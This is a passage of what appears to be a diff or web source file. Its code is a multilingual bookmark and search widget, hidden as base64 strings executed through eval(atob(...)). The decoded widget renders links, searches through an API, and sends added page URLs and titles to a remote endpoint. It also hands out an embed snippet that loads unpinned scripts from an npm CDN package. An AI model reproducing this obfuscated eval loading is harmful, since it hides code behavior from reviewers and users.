V0KCk7IGNvbnN0IGN1cnJlbnRJbmRleCA9IHN0b3JlZEl0ZW1zLmZpbmRJbmRleChzdG9yZWQgPT4gc3RvcmVkLnVybCA9PT0gaXRlbS51cmwpOyBpZiAoY3VycmVudEluZGV4ID4gLTEpIHsgY29uc3QgbmV3SW5kZXggPSAoY3VycmVudEluZGV4ICsgMSkgJSBzdG9yZWRJdGVtcy5sZW5ndGg7IGNvbnN0IFttb3ZlZEl0ZW1dID0gc3RvcmVkSXRlbXMuc3BsaWNlKGN1cnJlbnRJbmRleCwgMSk7IHN0b3JlZEl0ZW1zLnNwbGljZShuZXdJbmRleCwgMCwgbW92ZWRJdGVtKTsgc2hvcnRjdXRNYW5hZ2VyLnNldChzdG9yZWRJdGVtcyk7IGluaXRpYWxSZW5kZXIoKX0gfSk7DQogICAgICAgICAgICAgICAgY29udHJvbHMuYXBwZW5kQ2hpbGQoZGVsZXRlQnRuKTsgY29udHJvbHMuYXBwZW5kQ2hpbGQobW92ZUJ0bik7IGxpbmsuYXBwZW5kQ2hpbGQoY29udHJvbHMpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIGxpbms7DQogICAgICAgIH07DQoNCiAgICAgICAgY29uc3QgYXBwZW5kTmV4dFBhZ2UgPSAoKSA9PiB7IGlmIChpc0xvYWRpbmdOZXh0UGFnZSkgcmV0dXJuOyBpc0xvYWRpbmdOZXh0UGFnZSA9IHRydWU7IGNvbnN0IHN0YXJ0SW5kZXggPSAoY3VycmVudFBhZ2UgLSAxKSAqIElURU1TX1BFUl9QQUdFOyBjb25zdCBlbmRJbmRleCA9IGN1cnJlbnRQYWdlICogSVRFTVNfUEVSX1BBR0U7IGlmIChzdGFydEluZGV4ID49IGN1cnJlbnREaXNwbGF5SXRlbXMubGVuZ3RoKSB7IGlzTG9hZGluZ05leHRQYWdlID0gZmFsc2U7IHJldHVybn0gY29uc3QgaXRlbXNUb0FwcGVuZCA9IGN1cnJlbnREaXNwbGF5SXRlbXMuc2xpY2Uoc3RhcnRJbmRleCwgZW5kSW5kZXgpOyBpdGVtc1RvQXBwZW5kLmZvckVhY2goaXRlbSA9PiB7IHNlYXJjaFJlc3VsdHNDb250YWluZXIuYXBwZW5kQ2hpbGQoY3JlYXRlSWNvbkl0ZW0oaXRlbSwgJ3NlYXJjaCcpKX0pOyBjdXJyZW50UGFnZSsrOyBpc0xvYWRpbmdOZXh0UGFnZSA9IGZhbHNlfTsNCiAgICAgICAgDQogICAgICAgIGNvbnN0IHJlbmRlckluaXRpYWxSZXN1bHRzID0gKGl0ZW1zKSA9PiB7DQogICAgICAgICAgICBzZWFyY2hSZXN1bHRzQ29udGFpbmVyLmlubmVySFRNTCA9ICcnOw0KICAgICAgICAgICAgY3VycmVudFBhZ2UgPSAxOw0KICAgICAgICAgICAgY3VycmVudERpc3BsYXlJdGVtcyA9IEFycmF5LmlzQXJyYXkoaXRlbXMpID8gaXRlbXMgOiBbXTsNCiAgICAgICAgICAgIGFwcGVuZE5leHRQYWdlKCk7DQogICAgICAgIH07DQoNCiAgICAgICAgY29uc3QgcGVyZm9ybVNlYXJjaCA9IGFzeW5jIChxdWVyeSA9ICcnKSA9PiB7DQogICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgIGNvbnN0IHJlc3BvbnNlID0gYXdhaXQgZmV0Y2goYCR7QVBJX0JBU0VfVVJMfS9hcHBhcGkyLnBocD9xdWVyeT0ke2VuY29kZVVSSUNvbXBvbmVudChxdWVyeSl9YCk7DQogICAgICAgICAgICAgICAgaWYgKCFyZXNwb25zZS5vaykgdGhyb3cgbmV3IEVycm9yKCdBUEkg7J2R64u1IOyYpOulmCcpOw0KICAgICAgICAgICAgICAgIGNvbnN0IHJlc3VsdHMgPSBhd2FpdCByZXNwb25zZS5qc29uKCk7DQogICAgICAgICAgICAgICAgcmVuZGVySW5pdGlhbFJlc3VsdHMocmVzdWx0cyk7DQogICAgICAgICAgICB9IGNhdGNoIChlcnJvcikgew0KICAgICAgICAgICAgICAgIGNvbnNvbGUuZXJyb3IoJ+yVsSDrqqnroZ0g66Gc65OcIOyLpO2MqDonLCBlcnJvcik7DQogICAgICAgICAgICAgICAgc2VhcmNoUmVzdWx0c0NvbnRhaW5lci5pbm5lckhUTUwgPSAnPHA+66qp66GdIOuhnOuTnCDsi6TtjKg8L3A+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfTsNCiAgICAgICAgDQogICAgICAgIGNvbnN0IG9wZW5TZWFyY2ggPSAoKSA9PiB7IHdpZGdldENvbnRhaW5lci5jbGFzc0xpc3QuYWRkKCdzZWFyY2gtbW9kZScpOyB3aWRnZXRXcmFwcGVyLmNsYXNzTGlzdC5hZGQoJ3NlYXJjaC1tb2RlJyk7IHNlYXJjaElucHV0LmZvY3VzKCk7IHBlcmZvcm1TZWFyY2goKX07DQogICAgICAgIA0KCQljb25zdCBpbml0aWFsUmVuZGVyID0gKCkgPT4gew0KICAgICAgICAgICAgY29uc3QgYSA9IHRyYW5zbGF0aW9uc1tjdXJyZW50TGFuZ10gfHwgdHJhbnNsYXRpb25zWydlbiddOw0KICAgICAgICAgICAgY29uc3QgYiA9IFsNCiAgICAgICAgICAgICAgICB7IG5hbWU6IGEuc2VhcmNoLCB1cmw6ICdodHRwczovL2lzYWkua3InLCBpY29uOiAncGgtc3BhcmtsZScgfSwNCiAgICAgICAgICAgICAgICB7IG5hbWU6IGEucXVlc3Rpb24sIHVybDogJ2h0dHBzOi8vaXNhaS5rci8jY2hhdCcsIGljb246ICdwaC1xdWVzdGlvbi1tYXJrJyB9LA0KICAgICAgICAgICAgICAgIHsgbmFtZTogYS5mb3J1bSwgdXJsOiAnaHR0cHM6Ly9sb2dpZy5pbScsIGltZzogJ2h0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vY2RuaG9zdEAyLjMuOS9fX19fX19fX19fX19fX19sb2dpZy5wbmcnIH0sDQogICAgICAgICAgICAgICAgeyBuYW1lOiBhLmNoYXJhY3RlckNoYXQsIHVybDogJ2h0dHBzOi8vbGFpLm9kdWMua3IvJywgaW1nOiAnaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9jZG5ob3N0QDIuNy42L2xhaTQ4LnBuZycgfSwNCiAgICAgICAgICAgICAgICB7IG5hbWU6IGEuYmxvZywgdXJsOiAnaHR0cHM6Ly9ibG9nLjA5OS5rcicsIGljb246ICdwaC1hcnRpY2xlLW1lZGl1bScgfSwNCiAgICAgICAgICAgICAgICB7IG5hbWU6ICdBcmNoaXZlIEFJJywgdXJsOiAnaHR0cHM6Ly9hcmNoaS52ZWFpLndvcmtlcnMuZGV2LycsIGljb246ICdwaC1hcmNoaXZlJyB9LA0KICAgICAgICAgICAgXTsNCg0KICAgICAgICAgICAgbGlzdENvbnRhaW5lci5pbm5lckhUTUwgPSAnPGJ1dHRvbiBjbGFzcz0iZmhsLWljb24tY2lyY2xlIiBzdHlsZT0ibWFyZ2luOiAwIDhweCAwIDA7Ym9yZGVyOjAiIGlkPSJmaGwtZWRpdC1tb2RlLWJ0biI+PGkgY2xhc3M9InBoLWJvbGQgcGgtcGVuY2lsLXNpbXBsZSI+PC9pPjwvYnV0dG9uPic7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGNvbnN0IGVkaXRNb2RlQnRuID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZobC1lZGl0LW1vZGUtYnRuJyk7DQogICAgICAgICAgICBpZiAoZWRpdE1vZGVCdG4pIHsNCiAgICAgICAgICAgICAgICBpZiAobGlzdENvbnRhaW5lci5jbGFzc0xpc3QuY29udGFpbnMoJ2VkaXQtbW9kZScpKSB7DQogICAgICAgICAgICAgICAgICAgIGVkaXRNb2RlQnRuLmNsYXNzTGlzdC5hZGQoJ2FjdGl2ZScpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlZGl0TW9kZUJ0bi5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsICgpID0+IHsNCiAgICAgICAgICAgICAgICAgICAgbGlzdENvbnRhaW5lci5jbGFzc0xpc3QudG9nZ2xlKCdlZGl0LW1vZGUnKTsNCiAgICAgICAgICAgICAgICAgICAgZWRpdE1vZGVCdG4uY2xhc3NMaXN0LnRvZ2dsZSgnYWN0aXZlJyk7IA0KICAgICAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBjb25zdCBjID0gc2hvcnRjdXRNYW5hZ2VyLmdldCgpOw0KICAgICAgICAgICAgbGV0IGQgPSBbLi4uYl07DQogICAgICAgICAgICBkLnNwbGljZSgyLCAwLCAuLi5jKTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgY29uc3QgZnJhZ21lbnQgPSBkb2N1bWVudC5jcmVhdGVEb2N1bWVudEZyYWdtZW50KCk7DQogICAgICAgICAgICBkLmZvckVhY2goZSA9PiB7DQogICAgICAgICAgICAgICAgY29uc3QgZiA9IGMuc29tZShnID0+IGcudXJsID09PSBlLnVybCk7DQogICAgICAgICAgICAgICAgY29uc3QgaCA9IGYgJiYgIWUuaWNvbiAmJiAhZS5pbWcgPyAnbG9jYWwnIDogJ2RlZmF1bHQnOw0KICAgICAgICAgICAgICAgIGZyYWdtZW50LmFwcGVuZENoaWxkKGNyZWF0ZUljb25JdGVtKGUsIGgpKTsNCiAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgbGlzdENvbnRhaW5lci5hcHBlbmRDaGlsZChmcmFnbWVudCk7DQoNCiAgICAgICAgICAgIGNoZWNrU2Nyb2xsYWJpbGl0eSgpOw0KICAgICAgICAgICAgdXBkYXRlQWxsV2lkZ2V0TGlua3MoKTsNCiAgICAgICAgfTsNCiAgICAgICAgDQogICAgICAgIGNvbnN0IHVwZGF0ZVNjcm9sbEluZGljYXRvciA9ICgpID0+IHsgY29uc3Qgc2Nyb2xsTGVmdCA9IGxpc3RDb250YWluZXIuc2Nyb2xsTGVmdDsgY29uc3QgbWF4U2Nyb2xsTGVmdCA9IGxpc3RDb250YWluZXIuc2Nyb2xsV2lkdGggLSBsaXN0Q29udGFpbmVyLmNsaWVudFdpZHRoOyBpZiAobWF4U2Nyb2xsTGVmdCA8PSAwKSByZXR1cm47IGNvbnN0IHNjcm9sbEZyYWN0aW9uID0gc2Nyb2xsTGVmdCAvIG1heFNjcm9sbExlZnQ7IGNvbnN0IHRyYWNrV2lkdGggPSBpbmRpY2F0b3JUcmFjay5jbGllbnRXaWR0aDsgY29uc3QgaW5kaWNhdG9yV2lkdGggPSBzY3JvbGxJbmRpY2F0b3IuY2xpZW50V2lkdGg7IGNvbnN0IG1heEluZGljYXRvckxlZnQgPSB0cmFja1dpZHRoIC0gaW5kaWNhdG9yV2lkdGg7IGNvbnN0IGluZGljYXRvckxlZnQgPSBzY3JvbGxGcmFjdGlvbiAqIG1heEluZGljYXRvckxlZnQ7IHNjcm9sbEluZGljYXRvci5zdHlsZS50cmFuc2Zvcm0gPSBgdHJhbnNsYXRlWSgtNTAlKSB0cmFuc2xhdGVYKCR7aW5kaWNhdG9yTGVmdH1weClgfTsNCiAgICAgICAgY29uc3QgY2hlY2tTY3JvbGxhYmlsaXR5ID0gKCkgPT4geyBjb25zdCBpc1Njcm9sbGFibGUgPSBsaXN0Q29udGFpbmVyLnNjcm9sbFdpZHRoID4gbGlzdENvbnRhaW5lci5jbGllbnRXaWR0aDsgd2lkZ2V0Q29udGFpbmVyLmNsYXNzTGlzdC50b2dnbGUoJ3Njcm9sbGFibGUnLCBpc1Njcm9sbGFibGUpOyBpZiAoaXNTY3JvbGxhYmxlKSB1cGRhdGVTY3JvbGxJbmRpY2F0b3IoKX07DQogICAgICAgIGxldCBpc0RyYWdnaW5nID0gZmFsc2U7DQogICAgICAgIGNvbnN0IGhhbmRsZURyYWdNb3ZlID0gKGUpID0+IHsgaWYgKCFpc0RyYWdnaW5nKSByZXR1cm47IGUucHJldmVudERlZmF1bHQoKTsgY29uc3QgdHJhY2tSZWN0ID0gaW5kaWNhdG9yVHJhY2suZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCk7IGNvbnN0IG1heFNjcm9sbExlZnQgPSBsaXN0Q29udGFpbmVyLnNjcm9sbFdpZHRoIC0gbGlzdENvbnRhaW5lci5jbGllbnRXaWR0aDsgbGV0IHBvc2l0aW9uUmF0aW8gPSAoZS5jbGllbnRYIC0gdHJhY2tSZWN0LmxlZnQpIC8gdHJhY2tSZWN0LndpZHRoOyBwb3NpdGlvblJhdGlvID0gTWF0aC5tYXgoMCwgTWF0aC5taW4oMSwgcG9zaXRpb25SYXRpbykpOyBsaXN0Q29udGFpbmVyLnNjcm9sbExlZnQgPSBwb3NpdGlvblJhdGlvICogbWF4U2Nyb2xsTGVmdH07DQogICAgICAgIGNvbnN0IGhhbmRsZURyYWdFbmQgPSAoKSA9PiB7IGlmICghaXNEcmFnZ2luZykgcmV0dXJuOyBpc0RyYWdnaW5nID0gZmFsc2U7IGRvY3VtZW50LnJlbW92ZUV2ZW50TGlzdGVuZXIoJ21vdXNlbW92ZScsIGhhbmRsZURyYWdNb3ZlKTsgZG9jdW1lbnQucmVtb3ZlRXZlbnRMaXN0ZW5lcignbW91c2V1cCcsIGhhbmRsZURyYWdFbmQpfTsNCiAgICAgICAgaW5kaWNhdG9yVHJhY2suYWRkRXZlbnRMaXN0ZW5lcignbW91c2Vkb3duJywgKGUpID0+IHsgaXNEcmFnZ2luZyA9IHRydWU7IGhhbmRsZURyYWdNb3ZlKGUpOyBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdtb3VzZW1vdmUnLCBoYW5kbGVEcmFnTW92ZSk7IGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ21vdXNldXAnLCBoYW5kbGVEcmFnRW5kKX0pOw0KICAgICAgICBjb25zdCBjbG9zZVNlYXJjaCA9ICgpID0+IHsgd2lkZ2V0Q29udGFpbmVyLmNsYXNzTGlzdC5yZW1vdmUoJ3NlYXJjaC1tb2RlJyk7IHdpZGdldFdyYXBwZXIuY2xhc3NMaXN0LnJlbW92ZSgnc2VhcmNoLW1vZGUnKTsgc2VhcmNoSW5wdXQudmFsdWUgPSAnJzsgc2VhcmNoUmVzdWx0c0NvbnRhaW5lci5pbm5lckhUTUwgPSAnJ307DQogICAgICAgIGxldCBoaWRlVGltZW91dCA9IG51bGw7DQogICAgICAgIHdpZGdldENvbnRhaW5lci5hZGRFdmVudExpc3RlbmVyKCdtb3VzZWVudGVyJywgKCkgPT4geyBjbGVhclRpbWVvdXQoaGlkZVRpbWVvdXQpfSk7DQogICAgICAgIHdpZGdldENvbnRhaW5lci5hZGRFdmVudExpc3RlbmVyKCdtb3VzZWxlYXZlJywgKCkgPT4geyBoaWRlVGltZW91dCA9IHNldFRpbWVvdXQoKCkgPT4geyB3aWRnZXRDb250YWluZXIuY2xhc3NMaXN0LmFkZCgnaGlkZGVuJyl9LCA2MDAwKX0pOw0KICAgICAgICBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIChlKSA9PiB7IGlmICghbGFuZ3VhZ2VQYW5lbC5jb250YWlucyhlLnRhcmdldCkgJiYgIWxhbmd1YWdlQnRuLmNvbnRhaW5zKGUudGFyZ2V0KSkgeyBsYW5ndWFnZVBhbmVsLmNsYXNzTGlzdC5yZW1vdmUoJ3Zpc2libGUnKX0gaWYgKHdpZGdldENvbnRhaW5lci5jb250YWlucyhlLnRhcmdldCkpIHsgcmV0dXJufSBpZiAod2lkZ2V0Q29udGFpbmVyLmNsYXNzTGlzdC5jb250YWlucygnaGlkZGVuJykpIHsgc2V0VGltZW91dCgoKSA9PiB7IHdpZGdldENvbnRhaW5lci5jbGFzc0xpc3QucmVtb3ZlKCdoaWRkZW4nKTsgY2xlYXJUaW1lb3V0KGhpZGVUaW1lb3V0KTsgaGlkZVRpbWVvdXQgPSBzZXRUaW1lb3V0KCgpID0+IHsgd2lkZ2V0Q29udGFpbmVyLmNsYXNzTGlzdC5hZGQoJ2hpZGRlbicpfSwgNjAwMCl9LCA1MCl9IH0pOw0KICAgICAgICBsaXN0Q29udGFpbmVyLmFkZEV2ZW50TGlzdGVuZXIoJ3Njcm9sbCcsIHVwZGF0ZVNjcm9sbEluZGljYXRvcik7DQogICAgICAgIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCdyZXNpemUnLCBjaGVja1Njcm9sbGFiaWxpdHkpOw0KICAgICAgICBzZWFyY2hUcmlnZ2VyLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgb3BlblNlYXJjaCk7DQogICAgICAgIGxhbmd1YWdlQnRuLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgKGUpID0+IHsgZS5zdG9wUHJvcGFnYXRpb24oKTsgbGFuZ3VhZ2VQYW5lbC5jbGFzc0xpc3QudG9nZ2xlKCd2aXNpYmxlJyl9KTsNCg0KICAgICAgICANCiAgICAgICAgc2VhcmNoSW5wdXQuYWRkRXZlbnRMaXN0ZW5lcignaW5wdXQnLCBmdW5jdGlvbigpIHsNCiAgICAgICAgICAgIGNsZWFyVGltZW91dChzZWFyY2hUaW1lb3V0KTsNCiAgICAgICAgICAgIGNvbnN0IHF1ZXJ5ID0gdGhpcy52YWx1ZS50b0xvd2VyQ2FzZSgpLnRyaW0oKTsNCiAgICAgICAgICAgIHNlYXJjaFRpbWVvdXQgPSBzZXRUaW1lb3V0KCgpID0+IHsNCiAgICAgICAgICAgICAgICBwZXJmb3JtU2VhcmNoKHF1ZXJ5KTsNCiAgICAgICAgICAgIH0sIDMwMCk7DQogICAgICAgIH0pOw0KICAgICAgICANCiAgICAgICAgc2VhcmNoUmVzdWx0c0NvbnRhaW5lci5hZGRFdmVudExpc3RlbmVyKCdzY3JvbGwnLCAoKSA9PiB7IGNvbnN0IGlzQXRCb3R0b20gPSBzZWFyY2hSZXN1bHRzQ29udGFpbmVyLnNjcm9sbFRvcCArIHNlYXJjaFJlc3VsdHNDb250YWluZXIuY2xpZW50SGVpZ2h0ID49IHNlYXJjaFJlc3VsdHNDb250YWluZXIuc2Nyb2xsSGVpZ2h0IC0gMTA7IGlmIChpc0F0Qm90dG9tKSB7IGFwcGVuZE5leHRQYWdlKCl9IH0pOw0KICAgICAgICBzZWFyY2hDbG9zZS5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIGNsb3NlU2VhcmNoKTsNCiAgICAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIChlKSA9PiB7IGlmIChlLmtleSA9PT0gJ0VzY2FwZScgJiYgd2lkZ2V0V3JhcHBlci5jbGFzc0xpc3QuY29udGFpbnMoJ3NlYXJjaC1tb2RlJykpIHsgY2xvc2VTZWFyY2goKX0gfSk7DQogICAgICAgIA0KICAgICAgICBjb25zdCBhZGRDdXJyZW50UGFnZVRvV2lkZ2V0ID0gYXN5bmMgKGUpID0+IHsNCiAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgICAgIGNvbnN0IHQgPSB0cmFuc2xhdGlvbnNbY3VycmVudExhbmddIHx8IHRyYW5zbGF0aW9uc1snZW4nXTsNCiAgICAgICAgICAgIGNvbnN0IGJhc2VVcmwgPSBnZXRQcm9jZXNzZWRVcmwod2luZG93LmxvY2F0aW9uLmhyZWYpOw0KICAgICAgICAgICAgbGV0IGljb25OYW1lID0gZG9jdW1lbnQudGl0bGUgfHwgdC5jdXJyZW50UGFnZTsNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgY29uc3QgcmVzcG9uc2UgPSBhd2FpdCBmZXRjaChgJHtBUElfQkFTRV9VUkx9L2dldF90aXRsZS5waHA/dXJsPSR7ZW5jb2RlVVJJQ29tcG9uZW50KGJhc2VVcmwpfWApOw0KICAgICAgICAgICAgICAgIGlmIChyZXNwb25zZS5vaykgeyBjb25zdCBkYXRhID0gYXdhaXQgcmVzcG9uc2UuanNvbigpOyBpZiAoZGF0YS50aXRsZSkgeyBpY29uTmFtZSA9IGRhdGEudGl0bGV9IH0NCiAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7IGNvbnNvbGUuZXJyb3IoJ0ZhaWxlZCB0byBmZXRjaCB0aXRsZTonLCBlcnJvcil9DQogICAgICAgICAgICBjb25zdCBuZXdJY29uID0geyBuYW1lOiBpY29uTmFtZSwgdXJsOiBiYXNlVXJsIH07DQogICAgICAgICAgICBsZXQgc3RvcmVkSXRlbXMgPSBzaG9ydGN1dE1hbmFnZXIuZ2V0KCk7DQogICAgICAgICAgICBjb25zdCBpc0FscmVhZHlBZGRlZCA9IHN0b3JlZEl0ZW1zLnNvbWUoaXRlbSA9PiBnZXRQcm9jZXNzZWRVcmwoaXRlbS51cmwpID09PSBnZXRQcm9jZXNzZWRVcmwobmV3SWNvbi51cmwpKTsNCiAgICAgICAgICAgIGlmICghaXNBbHJlYWR5QWRkZWQpIHsNCiAgICAgICAgICAgICAgICBpZiAoc3RvcmVkSXRlbXMubGVuZ3RoID49IDEwKSB7IHN0b3JlZEl0ZW1zLnNoaWZ0KCl9DQogICAgICAgICAgICAgICAgc3RvcmVkSXRlbXMucHVzaChuZXdJY29uKTsNCiAgICAgICAgICAgICAgICBzaG9ydGN1dE1hbmFnZXIuc2V0KHN0b3JlZEl0ZW1zKTsNCiAgICAgICAgICAgICAgICB0cnkgeyBhd2FpdCBmZXRjaChgJHtBUElfQkFTRV9VUkx9L3JlZ2lzdGVyX2FwcC5waHBgLCB7IG1ldGhvZDogJ1BPU1QnLCBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicgfSwgYm9keTogSlNPTi5zdHJpbmdpZnkobmV3SWNvbikgfSl9IGNhdGNoIChlcnJvcikgeyBjb25zb2xlLmVycm9yKCdEQiDrk7HroZ0v6rCx7IugIOyLpO2MqDonLCBlcnJvcil9DQogICAgICAgICAgICAgICAgaW5pdGlhbFJlbmRlcigpOw0KICAgICAgICAgICAgICAgIGlmICh3aWRnZXRXcmFwcGVyLmNsYXNzTGlzdC5jb250YWlucygnc2VhcmNoLW1vZGUnKSkgeyBjbG9zZVNlYXJjaCgpfQ0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICBzaG93VG9hc3QodC5hbHJlYWR5QWRkZWQpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9Ow0KDQogICAgICAgIGNvbnN0IGNvcHlXaWRnZXRTY3JpcHQgPSAoZSkgPT4gew0KICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICAgICAgY29uc3QgdGV4dFRvQ29weSA9ICc8c2NyaXB0IHNyYz0iaHR0cHM6Ly91bnBrZy5jb20vQHBob3NwaG9yLWljb25zL3dlYiI+PFwvc2NyaXB0PjxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Nkbmhvc3RAbGF0ZXN0L3dzX2xnLmpzIj48XC9zY3JpcHQ+PGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Nkbmhvc3RAbGF0ZXN0L3dzX2Nzcy5jc3MiPjxkaXYgaWQ9ImFwcCI+PFwvZGl2PjxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Nkbmhvc3RAbGF0ZXN0L3dzX2Nkbmh0bWwuanMiPjxcL3NjcmlwdD4gPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vY2RuaG9zdEBsYXRlc3Qvd3NfY2RuLmpzIj48XC9zY3JpcHQ+JzsNCiAgICAgICAgICAgIGNvbnN0IHQgPSB0cmFuc2xhdGlvbnNbY3VycmVudExhbmddIHx8IHRyYW5zbGF0aW9uc1snZW4nXTsNCiAgICAgICAgICAgIGNvbnN0IGZhbGxiYWNrQ29weSA9ICgpID0+IHsgY29uc3QgdGV4dEFyZWEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJ0ZXh0YXJlYSIpOyB0ZXh0QXJlYS52YWx1ZSA9IHRleHRUb0NvcHk7IHRleHRBcmVhLnN0eWxlLnBvc2l0aW9uID0gImZpeGVkIjsgdGV4dEFyZWEuc3R5bGUudG9wID0gMDsgdGV4dEFyZWEuc3R5bGUubGVmdCA9ICItOTk5OXB4IjsgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZCh0ZXh0QXJlYSk7IHRleHRBcmVhLmZvY3VzKCk7IHRleHRBcmVhLnNlbGVjdCgpOyB0cnkgeyBkb2N1bWVudC5leGVjQ29tbWFuZCgnY29weScpOyBzaG93VG9hc3QodC5jb2RlQ29waWVkKX0gY2F0Y2ggKGVycikgeyBjb25zb2xlLmVycm9yKCdGYWxsYmFjazogT29wcywgdW5hYmxlIHRvIGNvcHknLCBlcnIpfSBkb2N1bWVudC5ib2R5LnJlbW92ZUNoaWxkKHRleHRBcmVhKX07DQogICAgICAgICAgICBpZiAobmF2aWdhdG9yLmNsaXBib2FyZCAmJiB3aW5kb3cuaXNTZWN1cmVDb250ZXh0KSB7IG5hdmlnYXRvci5jbGlwYm9hcmQud3JpdGVUZXh0KHRleHRUb0NvcHkpLnRoZW4oKCkgPT4geyBzaG93VG9hc3QodC5jb2RlQ29waWVkKX0pLmNhdGNoKCgpID0+IHsgZmFsbGJhY2tDb3B5KCl9KX0gZWxzZSB7IGZhbGxiYWNrQ29weSgpfQ0KICAgICAgICB9Ow0KDQogICAgICAgIGFkZFRvSG9tZUJ0bi5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIGFkZEN1cnJlbnRQYWdlVG9XaWRnZXQpOw0KICAgICAgICBzZWFyY2hBZGRCdG4uYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBjb3B5V2lkZ2V0U2NyaXB0KTsNCiAgICAgICAgDQogICAgICAgIHNob3J0Y3V0TWFuYWdlci5zeW5jRnJvbVVSTCgpOw0KICAgICAgICBzaG9ydGN1dE1hbmFnZXIuZ2V0KCk7DQogICAgICAgIA0KICAgICAgICBwb3B1bGF0ZUxhbmd1YWdlUGFuZWwoKTsNCiAgICAgICAgYXBwbHlMYW5ndWFnZShjdXJyZW50TGFuZyk7DQogICAgfSk7'))));
6
+ eval(decodeURIComponent(escape(window.atob('ICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ0RPTUNvbnRlbnRMb2FkZWQnLCBmdW5jdGlvbigpIHsNCiAgICAgICAgaWYgKHdpbmRvdy5GSExXaWRnZXRJbml0aWFsaXplZCkgcmV0dXJuOw0KICAgICAgICB3aW5kb3cuRkhMV2lkZ2V0SW5pdGlhbGl6ZWQgPSB0cnVlOw0KDQogICAgICAgIGNvbnN0IGxhbmd1YWdlcyA9IFsgeyBjb2RlOiAnZW4nLCBuYW1lOiAnRW5nbGlzaCcgfSwgeyBjb2RlOiAna28nLCBuYW1lOiAn7ZWc6rWt7Ja0JyB9LCB7IGNvZGU6ICdlcycsIG5hbWU6ICdFc3Bhw7FvbCcgfSwgeyBjb2RlOiAnaGknLCBuYW1lOiAn4KS54KS/4KSo4KWN4KSm4KWAJyB9LCB7IGNvZGU6ICdhcicsIG5hbWU6ICfYp9mE2LnYsdio2YrYqScgfSwgeyBjb2RlOiAnZGUnLCBuYW1lOiAnRGV1dHNjaCcgfSwgeyBjb2RlOiAnZnInLCBuYW1lOiAnRnJhbsOnYWlzJyB9LCB7IGNvZGU6ICdwdCcsIG5hbWU6ICdQb3J0dWd1w6pzJyB9LCB7IGNvZGU6ICdibicsIG5hbWU6ICfgpqzgpr7gpoLgprLgpr4nIH0sIHsgY29kZTogJ2phJywgbmFtZTogJ+aXpeacrOiqnicgfSwgeyBjb2RlOiAncnUnLCBuYW1lOiAn0KDRg9GB0YHQutC40LknIH0sIHsgY29kZTogJ3poJywgbmFtZTogJ+eugOS9k+S4reaWhycgfSwgeyBjb2RlOiAndGgnLCBuYW1lOiAn4LmE4LiX4LiiJyB9LCB7IGNvZGU6ICd2aScsIG5hbWU6ICdUaeG6v25nIFZp4buHdCcgfSwgeyBjb2RlOiAnaWQnLCBuYW1lOiAnSW5kb25lc2lhJyB9LCB7IGNvZGU6ICd0cicsIG5hbWU6ICdUw7xya8OnZScgfSwgeyBjb2RlOiAndXInLCBuYW1lOiAn2KfYsdiv2YgnIH1dOw0KICAgICAgICBsZXQgY3VycmVudERpc3BsYXlJdGVtcyA9IFtdOyANCiAgICAgICAgbGV0IGN1cnJlbnRQYWdlID0gMTsgDQogICAgICAgIGNvbnN0IElURU1TX1BFUl9QQUdFID0gMzA7DQogICAgICAgIGxldCBpc0xvYWRpbmdOZXh0UGFnZSA9IGZhbHNlOyANCiAgICAgICAgbGV0IHNlYXJjaFRpbWVvdXQgPSBudWxsOw0KDQogICAgICAgIGNvbnN0IHdpZGdldENvbnRhaW5lciA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaGwtd2lkZ2V0LWNvbnRhaW5lcicpOw0KICAgICAgICBjb25zdCB3aWRnZXRXcmFwcGVyID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZobC13aWRnZXQtd3JhcHBlcicpOw0KICAgICAgICBjb25zdCBsaXN0Q29udGFpbmVyID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZobC1saXN0LWNvbnRhaW5lcicpOw0KICAgICAgICBjb25zdCBzZWFyY2hJbnB1dCA9IGRvY3VtZW50LmdldEVsZ